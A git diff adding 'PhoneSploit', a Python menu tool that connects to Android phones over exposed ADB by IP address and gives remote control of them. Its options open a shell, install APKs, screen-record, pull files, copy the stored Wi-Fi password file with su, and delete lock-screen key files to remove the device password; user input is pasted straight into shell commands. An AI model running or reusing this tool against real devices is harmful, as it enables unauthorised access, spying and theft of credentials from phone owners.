+
main()
+#=============================
+
+def clear(page):
+ global page2
+ os.system('cls')
+ banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4,logo_design_5,logo_design_6,logo_design_7])
+ print (Fore.RED + banner_title)
+ print (page)
+
#=============================
# Run
-ColoringModeStartup()
+try:
+ init(convert=True)
+ os.chdir(CurrentDir+"//adb")
+ print (Fore.RED + "Starting adb server..")
+ os.system("adb tcpip 5555")
+ t.sleep(4)
+ os.system('cls')
+ banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4,logo_design_5,logo_design_6,logo_design_7])
+ print (Fore.RED + banner_title)
+ print (page_1)
+ main()
+except KeyboardInterrupt:
+ main()
diff --git a/main_linux.py b/main_linux.py
new file mode 100644
index 0000000..5212b67
--- /dev/null
+++ b/main_linux.py
@@ -0,0 +1,455 @@
+#-*- coding: utf-8 -*-
+
+#Coded By Zucccs
+# Enjoy
+
+
+#=============================
+#Imports
+import os
+import sys
+import random
+import time as t
+from colorama import Fore, init
+
+reload(sys)
+sys.setdefaultencoding("utf-8")
+
+#=============================
+# Variables
+CurrentDir = os.path.dirname(os.path.abspath(__file__))
+load_count = 0
+page2 = False
+
+#=============================
+#Install Functions
+# def ColoringModeStartup():
+# coloring_file = open(CurrentDir+"\\install\\coloring.txt", "a+")
+# line = open(CurrentDir+"\\install\\coloring.txt", "a+").readline()
+# if 'init' in line:
+# init(convert=True)
+# main()
+# if 'false' in line:
+# main()
+# if "NOT_LOADED" in line:
+# platform_choice = raw_input("Are you loading this script in (W)indows or (L)inux: ")
+# open(CurrentDir+"\\install\\coloring.txt", "w").close()
+# if platform_choice.lower() == 'w':
+# coloring_file.write("init")
+# else:
+# coloring_file.write("false")
+# yn = raw_input(Fore.WHITE + "Have you already installed adb via command line "+Fore.GREEN + "Y"+Fore.WHITE+"/"+Fore.RED+"N "+Fore.WHITE)
+# if yn == "n":
+# os.system("sudo apt install adb")
+# else:
+# main()
+
+#=============================
+# Graphics # http://patorjk.com/software/taag/#p=display&f=Graffiti&t=Type%20Something%20
+
+arrow = Fore.RED + " └──>".decode("utf-8").strip() + Fore.WHITE
+arrow = str(arrow)
+connect = Fore.RED + "│".decode("utf-8").strip() + Fore.WHITE
+
+logo_design_1 = ('''
+ {0} ____ __ _____ __ _ __
+ / __ \/ /_ ____ ____ ___ / ___/____ / /___ (_) /_
+ / /_/ / __ \/ __ \/ __ \/ _ \\__ \/ __ \/ / __ \/ / __/
+{1} / ____/ / / / /_/ / / / / __/__/ / /_/ / / /_/ / / /_
+/_/ /_/ /_/\____/_/ /_/\___/____/ .___/_/\____/_/\__/
+ /_/''').format(Fore.GREEN, Fore.WHITE, Fore.RED)
+
+logo_design_2 = Fore.GREEN + '''
+ .;' `;,
+ .;' ,;' `;, `;, {0}PhoneSploit
+.;' ,;' ,;' `;, `;, `;,
+:: :: : {1}( ){0} : :: :: {1}Coded by Zucccs / Metachar{0}
+':. ':. ':. {1}/_\{0} ,:' ,:' ,:'
+ ':. ':. {1}/___\{0} ,:' ,:'
+ ':. {1}/_____\{0} ,:'
+ {1}/ \\{0}
+'''.format(Fore.GREEN, Fore.WHITE, Fore.RED)
+
+logo_design_pre = '''
+{0}╔═╗{1}┬ ┬┌─┐┌┐┌┌─┐{0}╔═╗{1}┌─┐┬ ┌─┐┬┌┬┐
+{0}╠═╝{1}├─┤│ ││││├┤ {0}╚═╗{1}├─┘│ │ ││ │
+{0}╩ {1}┴ ┴└─┘┘└┘└─┘{0}╚═╝{1}┴ ┴─┘└─┘┴ ┴ '''.format(Fore.GREEN, Fore.WHITE, Fore.RED)
+logo_design_3 = logo_design_pre.decode("utf-8")
+
+logo_design_4 = '''
+\033[92m
+ +hydNNNNdyh+
+ +mMMMMMMMMMMMMm+
+ `dMMm\033[0m:\033[92mNMMMMMMN\033[0m:\033[92mmMMd`
+ hMMMMMMMMMMMMMMMMMMh
+ \033[92m.. yyyyyyyyyyyyyyyyyyyy .. \033[0m Exploit time :) \033[92m
+\033[92m.mMMm`MMMMMMMMMMMMMMMMMMMM`mMMm. \033[0m Thanks for downloading!\033[92m
+\033[92m:MMMM-MMMMMMMMMMMMMMMMMMMM-MMMM:
+:MMMM-MMMMMMMMMMMMMMMMMMMM-MMMM:
+:MMMM-MMMMMMMMMMMMMMMMMMMM-MMMM:
+:MMMM-MMMMMMMMMMMMMMMMMMMM-MMMM:
+-MMMM-MMMMMMMMMMMMMMMMMMMM-MMMM-
+ +yy+ MMMMMMMMMMMMMMMMMMMM +yy+
+ mMMMMMMMMMMMMMMMMMMm
+ `/++MMMMh++hMMMM++/`
+ MMMMo oMMMM
+ MMMMo oMMMM
+ oNMm- -mMNs'''
+
+page_1 = '''\n
+{0}[{1}1{0}] {2}Show Connected Devices {0}[{1}6{0}] {2}Screen record a phone {0}[{1}11{0}] {2}Uninstall an app
+{0}[{1}2{0}] {2}Disconect all devices {0}[{1}7{0}] {2}Screen Shot a picture on a phone {0}[{1}12{0}] {2}Show real time log of device
+{0}[{1}3{0}] {2}Connect a new phone {0}[{1}8{0}] {2}Restart Server {0}[{1}13{0}] {2}Dump System Info
+{0}[{1}4{0}] {2}Access Shell on a phone {0}[{1}9{0}] {2}Pull folders from phone to pc {0}[{1}14{0}] {2}List all apps on a phone
+{0}[{1}5{0}] {2}Install an apk on a phone {0}[{1}10{0}] {2}Turn The Device off {0}[{1}15{0}] {2}Run an app
+
+
+{0}[{1}99{0}] {2}Exit {0}[{1}0{0}] {2}Clear {0}[{1}p{0}] Next Page v1.2
+'''.format(Fore.CYAN, Fore.RED, Fore.GREEN)
+
+page_2 = '''\n
+{0}[{1}16{0}]{2} Port Forwarding {0}[{1}21{0}]{2} NetStat
+{0}[{1}17{0}]{2} Grab wpa_supplicant {0}[{1}22{0}]{2} Turn WiFi On/Off
+{0}[{1}18{0}]{2} Show Mac/Inet {0}[{1}23{0}]{2} Remove Password
+{0}[{1}19{0}]{2} Extract apk from app {0}[{1}24{0}]{2} Use Keycode
+{0}[{1}20{0}]{2} Get Battery Status {0}[{1}25{0}]{2} Get Current Activity
+
+
+{0}[{1}99{0}] {2}Exit {0}[{1}0{0}] {2}Clear {0}[{1}b{0}] Back to page one
+'''.format(Fore.CYAN, Fore.RED, Fore.GREEN)
+
+
+#=============================
+#Main
+def main():
+ page_num = 1
+ os.system("adb tcpip 5555")
+ os.system("adb devices -l")
+ print (("\n[{0}+{1}] Enter a phones ip address.(Type 99 to exit)").format(Fore.RED, Fore.WHITE))
+ try:
+ device_name = raw_input (arrow+" phonesploit"+Fore.RED + "(connect_phone) "+Fore.WHITE + "> ")
+ except KeyboardInterrupt:
+ main()
+ if device_name == '':
+ main()
+ if device_name == '99':
+ exit()
+ os.system("adb connect "+device_name+":5555")
+ option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ")
+
+ while(1):
+ if option == '1':
+ os.system("adb devices -l")
+ option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ")
+
+ elif option == '2':
+ os.system("adb disconnect")
+ main()
+
+ elif option == '3':
+ main()
+
+ elif option == '4':
+ os.system("adb -s "+device_name+" shell")
+ option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ")
+
+ elif option == '5':
+ print ((" "+connect))
+ print ((" [{0}+{1}]Enter the apk location.").format(Fore.RED, Fore.WHITE))
+ apk_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(apk_install) "+Fore.WHITE + "> ")
+ os.system("adb -s "+device_name+" install "+apk_location)
+ print (Fore.GREEN + "Apk has been installed.")
+ option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ")
+
+ elif option == '6':
+ print ((" "+connect))
+ print ((" [{0}+{1}] Please wait 3m its recording").format(Fore.RED, Fore.WHITE))
+ print ((" "+connect))
+ os.system("adb -s "+device_name+" shell screenrecord /sdcard/demo.mp4")
+ print ((" [{0}+{1}]Enter where you would like the video to be saved.[Default: present working directory]").format(Fore.RED, Fore.WHITE))
+ place_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(screen_record) "+Fore.WHITE + "> ")
+ os.system("adb -s "+device_name+" pull /sdcard/demo.mp4 "+place_location)
+ option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ")
+
+ elif option == '7':
+ os.system("adb -s "+device_name+" shell screencap /sdcard/screen.png")
+ print ((" "+connect))
+ print ((" [{0}+{1}]Enter where you would like the screenshot to be saved.[Default: present working directory]").format(Fore.RED, Fore.WHITE))
+ place_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(screenshot) "+Fore.WHITE + "> ")
+ os.system("adb -s "+device_name+" pull /sdcard/screen.png "+place_location)
+ option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ")
+
+ elif option == '8':
+ os.system("adb kill-server && adb start-server")
+ option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ")
+
+ elif option == '9':
+ print ((" "+connect))
+ print ((" [{0}+{1}]Enter a file location on a device").format(Fore.RED, Fore.WHITE))
+ file_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(file_pull) "+Fore.WHITE + "> ")
+ print ((" "+connect))
+ print ((" [{0}+{1}]Enter where you would like the file to be saved.[Default: present working directory]").format(Fore.RED, Fore.WHITE))
+ place_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(file_pull) "+Fore.WHITE + "> ")
+ os.system("adb -s "+device_name+" pull "+file_location+" "+place_location)
+ option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ")
+
+ elif option == '10':
+ os.system("adb -s "+device_name+ " reboot ")
+ option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ")
+
+ elif option == '11':
+ print ((" "+connect))
+ print ((" [{0}+{1}]Enter a package name.").format(Fore.RED, Fore.WHITE))
+ package_name = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(app_delete) "+Fore.WHITE + "> ")
+ os.system("adb -s "+device_name+" unistall "+package_name)
+ option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ")
+
+ elif option == '12':
+ os.system('adb -s '+device_name+" logcat ")
+ option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ")
+
+ elif option == '13':
+ os.system("adb -s "+device_name+" dumpsys")
+ option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ")
+
+ elif option == '14':
+ os.system("adb -s " +device_name+ " shell pm list packages -f")
+ option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ")
+
+ elif option == '15':
+ print ((" "+connect))
+ print ((" [{0}+{1}]Enter a package name. They look like this --> com.snapchat.android").format(Fore.RED, Fore.WHITE))
+ package_name = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(app_run) "+Fore.WHITE + "> ")
+ os.system("adb -s "+device_name+" shell monkey -p "+package_name+" -v 500")
+ option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ")
+
+ elif option == '16':
+ print ((" "+connect))
+ print ((" [{0}+{1}]Enter a port on the device.").format(Fore.RED, Fore.WHITE))
+ port_device = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ")
+ print ((" "+connect))
+ print ((" [{0}+{1}]Enter a port to forward it too.").format(Fore.RED, Fore.WHITE))
+ forward_port = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ")
+ os.system("adb -s "+device_name+" forward tcp:"+port_device+" tcp:"+forward_port)
+ option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ")
+
+ elif option == '17':
+ try:
+ print ((Fore.WHITE + " [{0}+{1}]{1}THE DEVICE NEEDS TO BE ROOTED TO CONTINUE TO EXIT USE CTRL +C").format(Fore.RED, Fore.WHITE))
+ print ((" "+connect))
+ print ((" [{0}+{1}]Enter where you want the file to be saved.[Default: present working directory]").format(Fore.RED, Fore.WHITE))
+ location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(wpa_grab) "+Fore.WHITE + "> ")
+ os.system("adb -s "+device_name+" shell "+"su -c 'cp /data/misc/wifi/wpa_supplicant.conf /sdcard/'")
+ os.system("adb -s "+device_name+" pull /sdcard/wpa_supplicant.conf "+location)
+ option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ")
+
+ except KeyboardInterrupt:
+ option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ")
+
+ elif option == '18':
+ os.system("adb -s " +device_name+ " shell ip address show wlan0")
+ option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ")
+
+ elif option == '19':
+ print ((" "+connect))
+ print ((" [{0}+{1}]Enter a package name. They look like this --> com.snapchat.android").format(Fore.RED, Fore.WHITE))
+ package_name = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ")
+ os.system("adb -s "+device_name+" shell pm path "+package_name)
+ print ((" "+connect))
+ print ((" [{0}+{1}]Enter The path.looks like this /data/app/com.snapchat.android-qWgDcBiCEvANq6op_NPqeA==/base.apk").format(Fore.RED, Fore.WHITE))
+ path = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ")
+ print ((" "+connect))
+ print ((" [{0}+{1}]Enter The location to store the apk: [Default: present working directory]") .format(Fore.RED, Fore.WHITE))
+ location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ")
+ os.system("adb -s " +device_name+" pull "+path+" "+location)
+ option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ")
+
+ elif option == '20':
+ os.system("adb -s " +device_name+ " shell dumpsys battery")
+ option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ")
+
+ elif option == '21':
+ os.system("adb -s " +device_name+ " shell netstat")
+ option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ")
+
+ elif option == '22':
+ print ((" "+connect))
+ print ((" [{0}+{1}] To turn wifi back on you need the device to be pluged in.").format(Fore.RED, Fore.WHITE))
+ print ((" "+connect))
+ on_off = raw_input(Fore.WHITE + " ["+Fore.RED+"+"+Fore.WHITE+"]Would you like the wifi "+Fore.GREEN +"on"+Fore.WHITE +"/"+Fore.RED +"off "+Fore.WHITE)
+ if on_off == 'off':
+ command = " shell svc wifi disable"
+ else:
+ command = " shell svc wifi enable"
+
+ os.system("adb -s "+device_name+command)
+ option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ")
+
+ elif option == '23':
+ print ((Fore.WHITE + " [{0}+{1}]{1}THE DEVICE NEEDS TO BE ROOTED TO CONTINUE TO EXIT USE CTRL +C THIS IS ALSO UNTESTED").format(Fore.RED, Fore.WHITE))
+ print ((" "+connect))
+ print (Fore.RED + "******************TRYING TO REMOVE PASS******************")
+ os.system("adb -s "+device_name+" shell su 0 'rm /data/system/gesture.key'")
+ os.system("adb -s "+device_name+" shell su 0 'rm /data/system/locksettings.db'")
+ os.system("adb -s "+device_name+" shell su 0 'rm /data/system/locksettings.db-wal'")
+ os.system("adb -s "+device_name+" shell su 0 'rm /data/system/locksettings.db-shm'")
+ print (Fore.RED + "******************TRYING TO REMOVE PASS******************")
+ option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ")
+
+ elif option == '24':
+ print ('''
+ 0 --> "KEYCODE_UNKNOWN"
+ 1 --> "KEYCODE_MENU"
+ 2 --> "KEYCODE_SOFT_RIGHT"
+ 3 --> "KEYCODE_HOME"
+ 4 --> "KEYCODE_BACK"
+ 5 --> "KEYCODE_CALL"
+ 6 --> "KEYCODE_ENDCALL"
+ 7 --> "KEYCODE_0"
+ 8 --> "KEYCODE_1"
+ 9 --> "KEYCODE_2"
+ 10 --> "KEYCODE_3"
+ 11 --> "KEYCODE_4"
+ 12 --> "KEYCODE_5"
+ 13 --> "KEYCODE_6"
+ 14 --> "KEYCODE_7"
+ 15 --> "KEYCODE_8"
+ 16 --> "KEYCODE_9"
+ 17 --> "KEYCODE_STAR"
+ 18 --> "KEYCODE_POUND"
+ 19 --> "KEYCODE_DPAD_UP"
+ 20 --> "KEYCODE_DPAD_DOWN"
+ 21 --> "KEYCODE_DPAD_LEFT"
+ 22 --> "KEYCODE_DPAD_RIGHT"
+ 23 --> "KEYCODE_DPAD_CENTER"
+ 24 --> "KEYCODE_VOLUME_UP"
+ 25 --> "KEYCODE_VOLUME_DOWN"
+ 26 --> "KEYCODE_POWER"
+ 27 --> "KEYCODE_CAMERA"
+ 28 --> "KEYCODE_CLEAR"
+ 29 --> "KEYCODE_A"
+ 30 --> "KEYCODE_B"
+ 31 --> "KEYCODE_C"
+ 32 --> "KEYCODE_D"
+ 33 --> "KEYCODE_E"
+ 34 --> "KEYCODE_F"
+ 35 --> "KEYCODE_G"
+ 36 --> "KEYCODE_H"
+ 37 --> "KEYCODE_I"
+ 38 --> "KEYCODE_J"
+ 39 --> "KEYCODE_K"
+ 40 --> "KEYCODE_L"
+ 41 --> "KEYCODE_M"
+ 42 --> "KEYCODE_N"
+ 43 --> "KEYCODE_O"
+ 44 --> "KEYCODE_P"
+ 45 --> "KEYCODE_Q"
+ 46 --> "KEYCODE_R"
+ 47 --> "KEYCODE_S"
+ 48 --> "KEYCODE_T"
+ 49 --> "KEYCODE_U"
+ 50 --> "KEYCODE_V"
+ 51 --> "KEYCODE_W"
+ 52 --> "KEYCODE_X"
+ 53 --> "KEYCODE_Y"
+ 54 --> "KEYCODE_Z"
+ 55 --> "KEYCODE_COMMA"
+ 56 --> "KEYCODE_PERIOD"
+ 57 --> "KEYCODE_ALT_LEFT"
+ 58 --> "KEYCODE_ALT_RIGHT"
+ 59 --> "KEYCODE_SHIFT_LEFT"
+ 60 --> "KEYCODE_SHIFT_RIGHT"
+ 61 --> "KEYCODE_TAB"
+ 62 --> "KEYCODE_SPACE"
+ 63 --> "KEYCODE_SYM"
+ 64 --> "KEYCODE_EXPLORER"
+ 65 --> "KEYCODE_ENVELOPE"
+ 66 --> "KEYCODE_ENTER"
+ 67 --> "KEYCODE_DEL"
+ 68 --> "KEYCODE_GRAVE"
+ 69 --> "KEYCODE_MINUS"
+ 70 --> "KEYCODE_EQUALS"
+ 71 --> "KEYCODE_LEFT_BRACKET"
+ 72 --> "KEYCODE_RIGHT_BRACKET"
+ 73 --> "KEYCODE_BACKSLASH"
+ 74 --> "KEYCODE_SEMICOLON"
+ 75 --> "KEYCODE_APOSTROPHE"
+ 76 --> "KEYCODE_SLASH"
+ 77 --> "KEYCODE_AT"
+ 78 --> "KEYCODE_NUM"
+ 79 --> "KEYCODE_HEADSETHOOK"
+ 80 --> "KEYCODE_FOCUS"
+ 81 --> "KEYCODE_PLUS"
+ 82 --> "KEYCODE_MENU"
+ 83 --> "KEYCODE_NOTIFICATION"
+ 84 --> "KEYCODE_SEARCH"
+ 85 --> "TAG_LAST_KEYCODE"
+ ''')
+ print (("[{0}+{1}]Enter a number.").format(Fore.RED, Fore.WHITE))
+ num = raw_input(arrow + "phonesploit"+Fore.RED + "(keycode) "+Fore.WHITE + "> ")
+ os.system("adb -s "+device_name+" shell input keyevent "+num)
+ option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ")
+
+ elif option == '25':
+ os.system("adb -s " +device_name+ " dumpsys activity")
+ option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ")
+
+ elif option == '0':
+ global page2
+ if page2 == True:
+ clear(page_2)
+ option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ")
+ else:
+ clear(page_1)
+ option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ")
+
+ elif option == 'p':
+ os.system('clear')
+ page2 = True
+ banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4])
+ print (Fore.RED + banner_title)
+ print (page_2)
+ option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ")
+
+ elif option == 'b':
+ os.system('clear')
+ page2 = False
+ banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4])
+ print (Fore.RED + banner_title)
+ print (page_1)
+ option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ")
+
+ elif option == '99':
+ exit()
+ break
+ else:
+ os.system("error: invalid menu option")
+ option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ")
+
+
+ main()
+
+#=============================
+
+def clear(page):
+ global page2
+ os.system('clear')
+ banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4])
+ print (Fore.RED + banner_title)
+ print (page)
+
+
+
+#=============================
+# Run
+yn = raw_input(Fore.WHITE + "Have you already installed adb via command line "+Fore.GREEN + "Y"+Fore.WHITE+"/"+Fore.RED+"n "+Fore.WHITE)
+if yn == "n":
+ os.system("sudo apt install adb")
+print (Fore.RED + "Starting adb server..")
+os.system("adb tcpip 5555")
+t.sleep(4)
+os.system('clear')
+banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4])
+print (Fore.RED + banner_title)
+print (page_1)
+main()